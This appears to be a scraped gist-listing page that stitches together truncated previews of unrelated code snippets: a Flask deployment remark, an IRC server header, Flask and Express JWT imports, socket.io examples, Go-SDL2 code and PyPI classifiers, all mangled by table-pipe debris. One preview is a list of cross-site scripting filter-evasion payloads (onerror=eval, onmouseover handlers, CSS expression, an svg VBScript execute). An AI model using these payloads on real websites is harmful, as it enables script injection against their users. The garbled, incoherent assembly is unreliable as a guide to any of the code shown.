I've been having trouble with serving a Flask app via uWSGI and nginx, so I thought I'd put together some of the basics to help out others.
- Flask is managed by
uWSGI
. uWSGI
talks tonginx
.
#!/usr/bin/python | |
# | |
# Very simple hacky ugly IRC server. | |
# | |
# Todo: | |
# - Encode format for each message and reply with ERR_NEEDMOREPARAMS | |
# - starting server when already started doesn't work properly. PID file is not changed, no error messsage is displayed. | |
# - Delete channel if last user leaves. | |
# - [ERROR] <socket.error instance at 0x7f9f203dfb90> (better error msg required) |
<div style="color:rgb(''�x:expression(alert(1))"></div> | |
<img/src=%00 id=confirm(1) onerror=eval(id) | |
<div id=confirm(1) onmouseover=eval(id)>X</div> | |
<span/onmouseover=confirm(1)>X</span> | |
<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83))) |
# -*- coding: utf-8 -*- | |
""" | |
More info: | |
http://flask.pocoo.org/docs/patterns/wtforms/ | |
http://pythonhosted.org/Flask-SQLAlchemy/ | |
https://flask-login.readthedocs.org/en/latest/ | |
""" | |
from flask import current_app, request, render_template, redirect, url_for | |
from myapp.models import User |
// | |
// Implementation using express-jwt middle | |
// | |
var express = require('express'), | |
ejwt = require('express-jwt'), | |
jwt = require('jsonwebtoken'), | |
passport = require('passport'), | |
bodyParser = require('body-parser'), | |
LocalStrategy = require('passport-local').Strategy, | |
BearerStrategy = require('passport-http-bearer').Strategy; |
// sending to sender-client only | |
socket.emit('message', "this is a test"); | |
// sending to all clients, include sender | |
io.emit('message', "this is a test"); | |
// sending to all clients except sender | |
socket.broadcast.emit('message', "this is a test"); | |
// sending to all clients in 'game' room(channel) except sender |
package main | |
import ( | |
"fmt" | |
"github.com/veandco/go-sdl2/sdl" | |
"math" | |
"os" | |
) | |
var winTitle string = "Go-SDL2 Render" |
Development Status :: 1 - Planning | |
Development Status :: 2 - Pre-Alpha | |
Development Status :: 3 - Alpha | |
Development Status :: 4 - Beta | |
Development Status :: 5 - Production/Stable | |
Development Status :: 6 - Mature | |
Development Status :: 7 - Inactive | |
Environment :: Console | |
Environment :: Console :: Curses | |
Environment :: Console :: Framebuffer |